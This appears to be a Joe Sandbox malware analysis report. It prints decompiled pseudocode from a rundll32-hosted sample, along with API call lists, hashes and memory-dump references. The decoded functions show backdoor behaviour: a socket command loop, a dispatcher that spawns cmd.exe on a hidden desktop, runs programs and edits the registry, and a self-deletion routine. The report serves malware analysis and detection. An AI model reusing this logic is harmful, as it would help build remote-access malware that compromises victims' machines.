				if(_t24 != 0) {
					SetFileAttributesW( &_v1560, 0x80);
					MoveFileExW( &_v1560, 0, 4);
					lstrcpyW( &_v1040,  *0x1001d0f0);
					lstrcatW( &_v1040,  &_v1560);
					lstrcatW( &_v1040,  *0x1001d0f8);
					_t24 = E10002610( &_v1040);
					ExitProcess(0);
				}
				return _t24;
			}

0x1000148a
0x100014b2
0x100014b9
0x100014c3
0x100014c3
0x100014c5
0x100014ea
0x100014f1
0x100014fb
0x100014fb
0x1000151c
0x10001528
0x10001532
0x10001532
0x10001544
0x1000154c
0x10001558
0x10001567
0x1000157b
0x10001594
0x100015a4
0x100015b0
0x100015ba
0x100015ba
0x100015c8

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,00020006,00000000), ref: 100014A4
RegDeleteValueA.ADVAPI32(1001D56B,1001D56B), ref: 100014B9
RegCloseKey.ADVAPI32(?), ref: 100014C3
RegOpenKeyExA.ADVAPI32(80000001,00000000,00020006,?), ref: 100014E2
RegDeleteValueA.ADVAPI32(1001D57C,1001D57C), ref: 100014F1
RegCloseKey.ADVAPI32(?), ref: 100014FB
RegOpenKeyExW.ADVAPI32(80000001,00000000,00020006,?), ref: 10001514
RegDeleteValueW.ADVAPI32(?), ref: 10001528
RegCloseKey.ADVAPI32(?), ref: 10001532
GetModuleFileNameW.KERNEL32(?,00000104), ref: 10001544
SetFileAttributesW.KERNEL32(?,00000080), ref: 10001558
MoveFileExW.KERNEL32(?,00000000,00000004), ref: 10001567
lstrcpyW.KERNEL32 ref: 1000157B
lstrcatW.KERNEL32(?,?), ref: 10001594
lstrcatW.KERNEL32(?), ref: 100015A4
ExitProcess.KERNEL32 ref: 100015BA

Memory Dump Source

Source File: 00000007.00000002.380451377.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.380446044.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380457810.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380476329.000000001001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CloseDeleteFileOpenValue$lstrcat$AttributesExitModuleMoveNameProcesslstrcpy
String ID:
API String ID: 523416362-0
Opcode ID: c6bb84dc1c1da45173e8ca6440914b9ea8c926dcbd73fb555a1feab534792366
Instruction ID: 52351a6d611f286e323500c84782af7b222db7e0c1cf88fe5f2769e14d3b44e9
Opcode Fuzzy Hash: c6bb84dc1c1da45173e8ca6440914b9ea8c926dcbd73fb555a1feab534792366
Instruction Fuzzy Hash: 90313831540229FBF712EFA0CC98F9B7BADEB48380F00841AF64992074D731E5599B52

Uniqueness

Uniqueness Score: -1.00%

Function 04A06950 Relevance: 22.6, APIs: 15, Instructions: 135
networksleepCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E04A06950(intOrPtr __ecx) {
				intOrPtr _v264;
				char _v268;
				long _v272;
				char _v276;
				void* _v280;
				char _v305;
				long _v320;
				intOrPtr _v321;
				char _v322;
				char _v332;
				char _v336;
				char _v338;
				intOrPtr _v352;
				intOrPtr _v368;
				void* __ebp;
				void* _t21;
				void* _t24;
				void* _t29;
				char _t30;
				void* _t31;
				void* _t32;
				char _t35;
				long _t36;
				intOrPtr _t37;
				char* _t42;
				char* _t44;
				void* _t45;
				intOrPtr _t49;
				void* _t51;
				intOrPtr _t52;
				void* _t54;

				_t54 = _v280;
				_t37 = __ecx;
				while(1) {
					L1:
					 *0x4a165ec = 1;
					_v276 = 0x1e;
					_v272 = 0;
					_v264 = _t37;
					_v268 = 1;
					_t21 =  *0x4a17724(_t37,  &_v268, 0, 0,  &_v276);
					if(_t21 != 1) {
						break;
					}
					_t24 =  *0x4a176f8(_t37,  &_v305, _t21, 0);
					asm("sbb eax, eax");
					if( ~(_t24 - 1) + 1 == 0) {
						break;
					}
					E04A09400(_t37, _v321, _t54);
					if( *0x4a1672c != 0) {
						EnterCriticalSection(0x4a16714);
						_t35 =  *0x4a16708; // 0x0
						_t54 =  *0x4a16709; // 0x0
						_v322 = _t35;
						_t36 =  *0x4a1670d; // 0x0
						_v320 = _t36;
						 *0x4a16709 = 0;
						 *0x4a1670d = 0;
						 *0x4a16708 = 0;
						LeaveCriticalSection(0x4a16714);
					}
					_t49 = 1;
					_t42 =  &_v322;
					while(1) {
						_t29 =  *0x4a176dc(_t37, _t42, _t49, 0);
						if(_t29 <= 0) {
							goto L23;
						}
						_t42 = _t42 + _t29;
						_t49 = _t49 - _t29;
						if(_t49 != 0) {
							continue;
						}
						if(_v338 == 0 || _t54 == 0) {
							L21:
							goto L22;
						} else {
							_t30 = _v336;
							if(_t30 == 0) {
								goto L21;
							}
							_v332 = _t30;
							_t44 =  &_v332;
							_t51 = 4;
							while(1) {
								_t31 =  *0x4a176dc(_t37, _t44, _t51, 0);
								if(_t31 <= 0) {
									goto L23;
								}
								_t44 = _t44 + _t31;
								_t51 = _t51 - _t31;
								if(_t51 != 0) {
									continue;
								}
								_t52 = _v352;
								_t45 = _t54;
								while(1) {
									_t32 =  *0x4a176dc(_t37, _t45, _t52, 0);
									if(_t32 <= 0) {
										goto L23;
									}
									_t45 = _t45 + _t32;
									_t52 = _t52 - _t32;
									if(_t52 != 0) {
										continue;
									}
									if( *0x4a1672c == 0) {
										L22:
										Sleep(0x1f4);
										goto L1;
									}
									EnterCriticalSection(0x4a16714);
									if(_v368 <= 0x1000) {
										LocalFree(_t54);
										LeaveCriticalSection(0x4a16714);
										Sleep(0x1f4);
									} else {
										VirtualFree(_t54, 0, 0x8000);
										LeaveCriticalSection(0x4a16714);
										Sleep(0x1f4);
									}
									goto L1;
								}
								goto L23;
							}
							goto L23;
						}
					}
					break;
				}
				L23:
				return 1;
			}

0x04a06958
0x04a0695c
0x04a06970
0x04a06970
0x04a06974
0x04a06987
0x04a06991
0x04a06999
0x04a0699d
0x04a069a5
0x04a069ae
0x00000000
0x00000000
0x04a069bd
0x04a069c6
0x04a069cb
0x00000000
0x00000000
0x04a069d7
0x04a069e3
0x04a069ea
0x04a069ec
0x04a069f1
0x04a069f7
0x04a069fb
0x04a06a05
0x04a06a09
0x04a06a13
0x04a06a1d
0x04a06a24
0x04a06a24
0x04a06a26
0x04a06a2b
0x04a06a30
0x04a06a35
0x04a06a3d
0x00000000
0x00000000
0x04a06a43
0x04a06a45
0x04a06a47
0x00000000
0x00000000
0x04a06a4e
0x04a06b1c
0x00000000
0x04a06a5c
0x04a06a5c
0x04a06a62
0x00000000
0x00000000
0x04a06a68
0x04a06a6c
0x04a06a70
0x04a06a75
0x04a06a7a
0x04a06a82
0x00000000
0x00000000
0x04a06a88
0x04a06a8a
0x04a06a8c
0x00000000
0x00000000
0x04a06a8e
0x04a06a92
0x04a06a94
0x04a06a99
0x04a06aa1
0x00000000
0x00000000
0x04a06aa7
0x04a06aa9
0x04a06aab
0x00000000
0x00000000
0x04a06aba
0x04a06b22
0x04a06b2d
0x00000000
0x04a06b2d
0x04a06ac1
0x04a06acb
0x04a06af9
0x04a06b0a
0x04a06b11
0x04a06acd
0x04a06ad5
0x04a06ae6
0x04a06aed
0x04a06aed
0x00000000
0x04a06acb
0x00000000
0x04a06a94
0x00000000
0x04a06a75
0x04a06a4e
0x00000000
0x04a06a30
0x04a06b3b
0x04a06b47

APIs

select.WS2_32(?,?,00000000,?), ref: 04A069A5
recv.WS2_32(00000000,?,00000000,00000000), ref: 04A069BD
EnterCriticalSection.KERNEL32(04A16714,?,?,00000000,?), ref: 04A069EA
LeaveCriticalSection.KERNEL32(04A16714,?,?,00000000,?), ref: 04A06A24
send.WS2_32(00000000,?,00000001,00000000), ref: 04A06A35
send.WS2_32(00000000,00000000,00000004,00000000), ref: 04A06A7A
send.WS2_32(00000000,00000000,00000000,00000000), ref: 04A06A99
EnterCriticalSection.KERNEL32(04A16714,?,?,00000000,?), ref: 04A06AC1
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 04A06AD5
LeaveCriticalSection.KERNEL32(04A16714,?,?,00000000,?), ref: 04A06AE6
Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 04A06AED
LocalFree.KERNEL32(00000000,?,?,00000000,?), ref: 04A06AF9
LeaveCriticalSection.KERNEL32(04A16714,?,?,00000000,?), ref: 04A06B0A
Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 04A06B11
Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 04A06B2D

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CriticalSection$LeaveSleepsend$EnterFree$LocalVirtualrecvselect
String ID:
API String ID: 3482594397-0
Opcode ID: b37def2069cf725e2f9de58d036c94b563921c83f37800777ed285d3ab4a0326
Instruction ID: 26cde5174f8f645c3bdd5f9f8fe5a455a42b8d66bf98186c69559460df57c17e
Opcode Fuzzy Hash: b37def2069cf725e2f9de58d036c94b563921c83f37800777ed285d3ab4a0326
Instruction Fuzzy Hash: E641D5B1644305AFE7209F25EC48B967BF8E765749F058018F541E7290E7B8BC8ACF61

Uniqueness

Uniqueness Score: -1.00%

Function 04A020B0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 140
processstringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E04A020B0(void* __ebx, void* __edx, void* __edi, intOrPtr _a4, intOrPtr _a8, void* _a12) {
				short _v1560;
				short _v1570;
				struct _STARTUPINFOW _v1628;
				struct _PROCESS_INFORMATION _v1644;
				void* _v1652;
				intOrPtr _t26;
				long _t35;
				void* _t43;
				void* _t44;
				void* _t50;
				intOrPtr _t51;
				intOrPtr _t57;
				intOrPtr _t59;
				void* _t60;
				intOrPtr _t62;
				intOrPtr _t65;
				intOrPtr* _t66;
				WCHAR* _t68;

				_t60 = __edi;
				_t50 = __ebx;
				_t26 = _a4;
				_t54 =  !=  ? _t26 : 0x4a0f2d8;
				_push( !=  ? _t26 : 0x4a0f2d8);
				_push(__edx);
				_push(_a8);
				_push( *0x4a168fc);
				E04A01220( &_v1560,  *0x4a16900, "C:\Windows\system32\cmd.exe");
				_v1628.lpReserved = 0;
				_v1570 = 0;
				_v1628.hStdError = 0;
				asm("xorps xmm0, xmm0");
				_v1628.dwX = 0;
				_v1628.dwY = 0;
				_v1628.wShowWindow = 2;
				_v1628.lpTitle = 0;
				asm("movlpd [esp+0x4c], xmm0");
				asm("movlpd [esp+0x5c], xmm0");
				_v1628.dwFillAttribute = 0;
				asm("movlpd [esp+0x6e], xmm0");
				_v1628.cb = 0x44;
				_v1628.lpDesktop = L"d06ed635";
				_v1628.hStdOutput = 0x10001;
				_v1628.dwFlags = 0x405;
				asm("movups [esp+0x2c], xmm0");
				if(CreateProcessW(0,  &_v1560, 0, 0, 0, 0, 0, 0,  &_v1628,  &_v1644) == 0) {
					_t65 = 0;
					goto L12;
				} else {
					_t43 = _v1644.hProcess;
					if(_t43 != 0) {
						_t57 =  *_t66;
						if(_t57 != 0) {
							 *0x4a16584(_t57, _t43);
							_t43 = _v1652;
						}
						CloseHandle(_t43);
					}
					_t44 = _v1644.hThread;
					if(_t44 != 0) {
						CloseHandle(_t44);
					}
					_t65 = _v1644.dwProcessId;
					if(_t65 == 0) {
						L12:
						_t35 = GetLastError();
						_t59 =  *0x4a16908; // 0x4a1866e
						_t68 = E04A040D0( &_v1560, _t59, 0, _t35);
						if(_t68 == 0) {
							return _t65;
						} else {
							_push(_t60);
							_t62 = lstrlenW(_t68) + _t38;
							if( *0x4a1672c == 0 || _t62 == 0) {
								return _t65;
							} else {
								_push(_t50);
								_t51 = E04A011D0(_t62);
								if(_t51 != 0) {
									E04A01000(_t51, _t68, _t62);
									EnterCriticalSection(0x4a16714);
									 *0x4a165fc = 6;
									 *0x4a16601 = _t62;
									 *0x4a165fd = _t51;
									LeaveCriticalSection(0x4a16714);
								}
								return _t65;
							}
						}
					} else {
						return _t65;
					}
				}
			}

0x04a020b0
0x04a020b0
0x04a020b6
0x04a020c5
0x04a020cc
0x04a020cd
0x04a020ce
0x04a020d5
0x04a020e7
0x04a020ee
0x04a020f9
0x04a020fe
0x04a02102
0x04a02105
0x04a02109
0x04a02112
0x04a02120
0x04a02139
0x04a02142
0x04a02148
0x04a02150
0x04a02156
0x04a0215e
0x04a02166
0x04a0216e
0x04a02176
0x04a02183
0x04a021e3
0x00000000
0x04a02185
0x04a02185
0x04a0218b
0x04a021a9
0x04a021ad
0x04a021b1
0x04a021b7
0x04a021b7
0x04a021bc
0x04a021bc
0x04a021c2
0x04a021c8
0x04a021cb
0x04a021cb
0x04a021d1
0x04a021d7
0x04a021e5
0x04a021e6
0x04a021ec
0x04a021fe
0x04a02205
0x04a02285
0x04a02207
0x04a02207
0x04a02211
0x04a0221a
0x04a0227a
0x04a02220
0x04a02220
0x04a02228
0x04a0222c
0x04a02231
0x04a0223e
0x04a02249
0x04a02250
0x04a02256
0x04a0225c
0x04a0225c
0x04a0226e
0x04a0226e
0x04a0221a
0x04a021d9
0x04a021e2
0x04a021e2
0x04a021d7

APIs

Part of subcall function 04A01220: wvsprintfW.USER32(?,?,?), ref: 04A0122D

CreateProcessW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 04A0217B
CreateJobObjectW.KERNEL32 ref: 04A0219D
AssignProcessToJobObject.KERNEL32 ref: 04A021B1
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 04A021BC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 04A021CB
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 04A021E6
lstrlenW.KERNEL32(00000000,?,?,?,?,?,C:\Windows\system32\cmd.exe,?,?,04A0F2D8), ref: 04A02209
EnterCriticalSection.KERNEL32(04A16714,?,?,?,?,?,?,?,C:\Windows\system32\cmd.exe,?,?,04A0F2D8), ref: 04A0223E
LeaveCriticalSection.KERNEL32(04A16714,?,?,?,?,?,?,?,C:\Windows\system32\cmd.exe,?,?,04A0F2D8), ref: 04A0225C

Strings

D, xrefs: 04A02156
C:\Windows\system32\cmd.exe, xrefs: 04A020DB
d06ed635, xrefs: 04A0215E

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CloseCreateCriticalHandleObjectProcessSection$AssignEnterErrorLastLeavelstrlenwvsprintf
String ID: C:\Windows\system32\cmd.exe$D$d06ed635
API String ID: 588855707-3024436829
Opcode ID: 7d4b96c2bfdf64c00135980ba2ae0af40deae4031d97a684752e7dd252b211e9
Instruction ID: 83177f3803c13a3889124d505eabf2c79c31824847616d4185db58efd5e2a496
Opcode Fuzzy Hash: 7d4b96c2bfdf64c00135980ba2ae0af40deae4031d97a684752e7dd252b211e9
Instruction Fuzzy Hash: 7A41C6766053009FE7108FA4E848B6BB7E8FFA8715F04492DF989C6250E77AEC45CB52

Uniqueness

Uniqueness Score: -1.00%

Function 04A09400 Relevance: 18.2, APIs: 12, Instructions: 218
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E04A09400(void* __ecx, signed int __edx, void* __ebp) {
				short _v1028;
				short _v2052;
				WCHAR* _v2312;
				int _v2316;
				char _v2320;
				long _v2328;
				struct _SECURITY_ATTRIBUTES* _v2332;
				struct _SECURITY_ATTRIBUTES* _v2336;
				struct _SECURITY_ATTRIBUTES* _v2340;
				int _v2356;
				char _v2364;
				void* _v2376;
				short _v2880;
				intOrPtr _v2908;
				char* _v2912;
				void* _v2916;
				WCHAR* _v2920;
				signed int _t70;

				_t70 = (__edx & 0x000000ff) - 1;
				if(_t70 > 0x10) {
					L59:
					return 1;
				} else {
					switch( *((intOrPtr*)(_t70 * 4 +  &M04A09914))) {
						case 0:
							if( *0x4a163e4 != 0) {
								E04A06E70(__ecx);
							}
							_t73 = CreateThread(0, 0, E04A067F0,  *0x4a16544, 0,  &_v2328);
							if(_t73 == 0) {
								goto L59;
							} else {
								 *0x4a163e4 = _t73;
								return 1;
							}
							goto L71;
						case 1:
							__ecx = 0x4a16708;
							E04A07B00(0x4a16708) = 1;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							__esp = __esp + 0x928;
							return 1;
							goto L71;
						case 2:
							ExitProcess(0);
						case 3:
							__eax =  &_v2336;
							_v2340 = 0;
							__eax =  &_v2340;
							_v2336 = 0;
							__edx =  &_v1028;
							__eax = E04A08C70(__ecx,  &_v1028, __eflags, 0x200, 0,  &_v2340,  &_v2336);
							__eflags = __eax;
							if(__eax == 0) {
								_push(_v2336);
								__ecx =  &_v1028;
								_push(_v2340);
								goto L13;
							} else {
								 &_v1028 = lstrcatW( &_v1028,  *0x4a16910);
								__eax =  &_v1028;
								__eax = lstrlenW( &_v1028);
								__esi = __eax;
								__esi = __eax + __eax;
								__eflags =  *0x4a1672c;
								if( *0x4a1672c == 0) {
									goto L59;
								} else {
									__eflags = __esi;
									if(__esi == 0) {
										goto L59;
									} else {
										__ecx = __esi;
										__edi = E04A011D0(__esi);
										__eflags = __edi;
										if(__edi == 0) {
											goto L59;
										} else {
											_push(__esi);
											__eax =  &_v1028;
											_push( &_v1028);
											goto L18;
										}
									}
								}
							}
							goto L71;
						case 4:
							__eax =  &_v2340;
							_v2336 = 0;
							__eax =  &_v2336;
							_v2340 = 0;
							__edx =  &_v2052;
							__eax = E04A08C70(__ecx,  &_v2052, __eflags, 0x200, 1,  &_v2336,  &_v2340);
							__eflags = __eax;
							if(__eax == 0) {
								__edx = _v2336;
								__eax = _v2340;
								goto L28;
							} else {
								__eax =  &_v2052;
								__eax = ShellExecuteW(0,  *0x4a16760,  &_v2052, 0, 0, 1);
								__edx = _v2336;
								__ecx = 0x20;
								__eflags = 0x20 - __eax;
								__esi = 0x70;
								asm("sbb ecx, ecx");
								__eflags = __eax - 0x20;
								__edx =  <=  ? 0x70 : _v2336;
								__ecx =  ~0x20;
								if(__eax == 0x20) {
									L28:
									_push(__eax);
									_push(__edx);
									__ecx =  &_v2052;
									L13:
									__edx =  *0x4a16908; // 0x4a1866e
									__ebx = E04A040D0(__ecx, __edx);
									__esp = __esp + 8;
									__eflags = __ebx;
									if(__ebx == 0) {
										goto L59;
									} else {
										__eax = lstrlenW(__ebx);
										__esi = __eax;
										__esi = __eax + __eax;
										__eflags =  *0x4a1672c;
										if( *0x4a1672c == 0) {
											goto L59;
										} else {
											__eflags = __esi;
											if(__esi == 0) {
												goto L59;
											} else {
												__ecx = __esi;
												__edi = E04A011D0(__esi);
												__eflags = __edi;
												if(__edi == 0) {
													goto L59;
												} else {
													_push(__esi);
													_push(__ebx);
													goto L18;
												}
											}
										}
									}
								} else {
									 &_v2052 = lstrcatW( &_v2052,  *0x4a16910);
									__eax =  &_v2052;
									__eax = lstrlenW( &_v2052);
									__esi = __eax;
									__esi = __eax + __eax;
									__eflags =  *0x4a1672c;
									if( *0x4a1672c == 0) {
										goto L59;
									} else {
										__eflags = __esi;
										if(__esi == 0) {
											goto L59;
										} else {
											__ecx = __esi;
											__edi = E04A011D0(__esi);
											__eflags = __edi;
											if(__edi == 0) {
												goto L59;
											} else {
												_push(__esi);
												__eax =  &_v2052;
												_push( &_v2052);
												L18:
												_push(__edi);
												__eax = E04A01000();
												__esp = __esp + 0xc;
												EnterCriticalSection(0x4a16714);
												 *0x4a16708 = 6;
												 *0x4a16709 = __edi;
												goto L20;
											}
										}
									}
								}
							}
							goto L71;
						case 5:
							E04A08F20(__ecx, __eflags) = 1;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							__esp = __esp + 0x928;
							return 1;
							goto L71;
						case 6:
							__eax =  &_v2340;
							_v2336 = 0;
							_push( &_v2340);
							__eax =  &_v2336;
							_v2340 = 0;
							_push( &_v2336);
							__eax =  &_v2320;
							__edx =  &_v2328;
							__eax = E04A08A70(__ecx,  &_v2328,  &_v2320);
							__eflags = __eax;
							if(__eax == 0) {
								goto L59;
							} else {
								__eax =  &_v2340;
								_push( &_v2340);
								_push(0);
								_push(_v2328);
								_push(E04A093A0);
								goto L33;
							}
							goto L71;
						case 7:
							E04A03620();
							_pop(ds);
							_t56 = __eax;
							__eax = __esp;
							__esp = _t56;
							_t57 = __eax;
							__eax = __edi;
							__edi = _t57;
							_t58 = __eax;
							__eax = __ebp;
							__ebp = _t58;
							__eflags =  *0xa0968604 + 0xae;
							_t59 = __eax;
							__eax = __esi;
							__esi = _t59;
							_t60 = __eax;
							__eax = __esi;
							__esi = _t60;
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							__esp = __esp - 0x230;
							_push(__ebp);
							_push(__esi);
							_push(__edi);
							__ebp = 0;
							_v2912 = __edx;
							__edi = __ecx;
							__esi = CreateToolhelp32Snapshot(2, 0);
							__eflags = __esi - 0xffffffff;
							if(__esi != 0xffffffff) {
								__eax =  &_v2912;
								_v2912 = 0x22c;
								_push( &_v2912);
								__eax = Process32FirstW(__esi);
								__eflags = __eax;
								if(__eax == 0) {
									L70:
									__eax = CloseHandle(__esi);
									_pop(__edi);
									_pop(__esi);
									__eax = __ebp;
									_pop(__ebp);
									__esp = __esp + 0x230;
									return __ebp;
								} else {
									_push(__ebx);
									__ebx = Process32NextW;
									while(1) {
										__eflags = _v2908 - __edi;
										if(_v2908 == __edi) {
											break;
										}
										__eax =  &_v2916;
										__eax = Process32NextW(__esi,  &_v2916);
										__eflags = __eax;
										if(__eax != 0) {
											continue;
										} else {
											_pop(__ebx);
											__eax = CloseHandle(__esi);
											_pop(__edi);
											_pop(__esi);
											__eax = __ebp;
											_pop(__ebp);
											__esp = __esp + 0x230;
											return __ebp;
										}
										goto L71;
									}
									 &_v2880 = lstrcpynW(_v2920,  &_v2880, _v2356);
									__ebp = 1;
									_pop(__ebx);
									goto L70;
								}
							} else {
								_pop(__edi);
								_pop(__esi);
								__eax = 0;
								__eflags = 0;
								_pop(__ebp);
								__esp = __esp + 0x230;
								return 0;
							}
							goto L71;
						case 8:
							goto L59;
						case 9:
							_push(4);
							__eax =  &_v2320;
							_push( &_v2320);
							__eax = E04A01760(__ebx);
							__eflags = __eax;
							if(__eax == 0) {
								L46:
								__edi =  *0x4a16908;
								__eflags = __edi;
								if(__edi == 0) {
									goto L59;
								} else {
									__eax = lstrlenW(__edi);
									__esi = __eax;
									__esi = __eax + __eax;
									__eflags =  *0x4a1672c;
									if( *0x4a1672c == 0) {
										goto L59;
									} else {
										__eflags = __esi;
										if(__esi == 0) {
											goto L59;
										} else {
											__ecx = __esi;
											__ebx = E04A011D0(__esi);
											__eflags = __ebx;
											if(__ebx == 0) {
												goto L59;
											} else {
												__eax = E04A01000(__ebx, __edi, __esi);
												EnterCriticalSection(0x4a16714);
												 *0x4a16708 = 6;
												 *0x4a16709 = __ebx;
												L20:
												 *0x4a1670d = __esi;
												LeaveCriticalSection(0x4a16714);
												__eax = 1;
												_pop(__edi);
												_pop(__esi);
												_pop(__ebx);
												__esp = __esp + 0x928;
												return 1;
											}
										}
									}
								}
							} else {
								__eax =  &_v2336;
								_v2336 = 0x1e;
								_push( &_v2336);
								_push(0);
								_push(0);
								__eax =  &_v2316;
								_v2332 = 0;
								_push( &_v2316);
								_push(__ebx);
								_v2312 = __ebx;
								__edi =  &_v2328;
								_v2316 = 1;
								__esi = 6;
								__eax =  *0x4a17724();
								__eflags = __eax - 1;
								if(__eax == 1) {
									while(1) {
										_push(0);
										_push(__esi);
										_push(__edi);
										_push(__ebx);
										__eax =  *0x4a176f8();
										__eflags = __eax;
										if(__eax <= 0) {
											goto L46;
										}
										__edi =  &(__edi[__eax]);
										__esi = __esi - __eax;
										__eflags = __esi;
										if(__esi != 0) {
											continue;
										} else {
											__edi =  *0x4a16bb4;
											__eax =  &_v2376;
											__eax = RegOpenKeyExA(0x80000001,  *0x4a16bac, __esi, 2,  &_v2376);
											__eflags = __eax;
											if(__eax == 0) {
												__eax =  &_v2364;
												RegSetValueExA(_v2376, __edi, __esi, 3,  &_v2364, 6) =  ~__eax;
												asm("sbb esi, esi");
												__esi = __esi + 1;
												__eflags = __esi;
												__eax = RegCloseKey(_v2376);
											}
											__eflags = __esi;
											if(__esi == 0) {
												goto L46;
											} else {
												__esi = LocalAlloc(0, 4);
												__eflags = __esi;
												if(__esi == 0) {
													goto L59;
												} else {
													__eax =  &_v2364;
													 *__esi = 0;
													E04A01000(__esi,  &_v2364, 6) =  &_v2356;
													_push( &_v2356);
													_push(0);
													_push(__esi);
													_push(E04A07070);
													L33:
													__eax = CreateThread(0, 0, ??, ??, ??, ??);
													__eflags = __eax;
													if(__eax == 0) {
														goto L59;
													} else {
														__eax = 1;
														_pop(__edi);
														_pop(__esi);
														_pop(__ebx);
														__esp = __esp + 0x928;
														return 1;
													}
												}
											}
										}
										goto L71;
									}
								}
								goto L46;
							}
							goto L71;
						case 0xa:
							E04A09140(__ecx) = 1;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							__esp = __esp + 0x928;
							return 1;
							goto L71;
						case 0xb:
							__edx =  *0x4a16bac; // 0x4a19daf
							_push(__ecx);
							__ecx = 0x80000001;
							 *0x4a16608 = 0;
							E04A01450(__edx,  *0x4a16bb8) = E04A07720();
							goto L59;
						case 0xc:
							__eflags =  *0x4a16608;
							__eflags = __eax - 0x4a16608;
							_t50 = __ecx + __esi * 2 - 0x75;
							 *_t50 =  *(__ecx + __esi * 2 - 0x75) + __dh;
							__eflags =  *_t50;
					}
				}
				L71:
			}

0x04a09409
0x04a09412
0x04a098fe
0x04a0990c
0x04a09418
0x04a09418
0x00000000
0x04a09426
0x04a0942a
0x04a0942a
0x04a09445
0x04a0944d
0x00000000
0x04a09453
0x04a09453
0x04a09466
0x04a09466
0x00000000
0x00000000
0x04a09467
0x04a09471
0x04a09476
0x04a09477
0x04a09478
0x04a09479
0x04a0947f
0x00000000
0x00000000
0x04a0971b
0x00000000
0x04a09480
0x04a09484
0x04a0948d
0x04a09491
0x04a094a1
0x04a094a8
0x04a094b0
0x04a094b2
0x04a0950b
0x04a0950f
0x04a09516
0x00000000
0x04a094b4
0x04a094c2
0x04a094c8
0x04a094d0
0x04a094d6
0x04a094d8
0x04a094da
0x04a094e1
0x00000000
0x04a094e7
0x04a094e7
0x04a094e9
0x00000000
0x04a094ef
0x04a094ef
0x04a094f6
0x04a094f8
0x04a094fa
0x00000000
0x04a09500
0x04a09500
0x04a09501
0x04a09508
0x00000000
0x04a09508
0x04a094fa
0x04a094e9
0x04a094e1
0x00000000
0x00000000
0x04a095a6
0x04a095aa
0x04a095b3
0x04a095b7
0x04a095c7
0x04a095ce
0x04a095d6
0x04a095d8
0x04a09670
0x04a09674
0x00000000
0x04a095de
0x04a095e4
0x04a095f4
0x04a095fa
0x04a095fe
0x04a09603
0x04a09605
0x04a0960a
0x04a0960c
0x04a0960f
0x04a09612
0x04a09614
0x04a09678
0x04a09678
0x04a09679
0x04a0967a
0x04a0951a
0x04a0951a
0x04a09525
0x04a09527
0x04a0952a
0x04a0952c
0x00000000
0x04a09532
0x04a09533
0x04a09539
0x04a0953b
0x04a0953d
0x04a09544
0x00000000
0x04a0954a
0x04a0954a
0x04a0954c
0x00000000
0x04a09552
0x04a09552
0x04a09559
0x04a0955b
0x04a0955d
0x00000000
0x04a09563
0x04a09563
0x04a09564
0x00000000
0x04a09564
0x04a0955d
0x04a0954c
0x04a09544
0x04a09616
0x04a09624
0x04a0962a
0x04a09632
0x04a09638
0x04a0963a
0x04a0963c
0x04a09643
0x00000000
0x04a09649
0x04a09649
0x04a0964b
0x00000000
0x04a09651
0x04a09651
0x04a09658
0x04a0965a
0x04a0965c
0x00000000
0x04a09662
0x04a09662
0x04a09663
0x04a0966a
0x04a09565
0x04a09565
0x04a09566
0x04a0956b
0x04a09573
0x04a09579
0x04a09580
0x00000000
0x04a09580
0x04a0965c
0x04a0964b
0x04a09643
0x04a09614
0x00000000
0x00000000
0x04a0968b
0x04a09690
0x04a09691
0x04a09692
0x04a09693
0x04a09699
0x00000000
0x00000000
0x04a096ae
0x04a096b2
0x04a096ba
0x04a096bb
0x04a096bf
0x04a096c7
0x04a096c8
0x04a096cd
0x04a096d1
0x04a096d9
0x04a096db
0x00000000
0x04a096e1
0x04a096e1
0x04a096e5
0x04a096e6
0x04a096e8
0x04a096ec
0x00000000
0x04a096ec
0x00000000
0x00000000
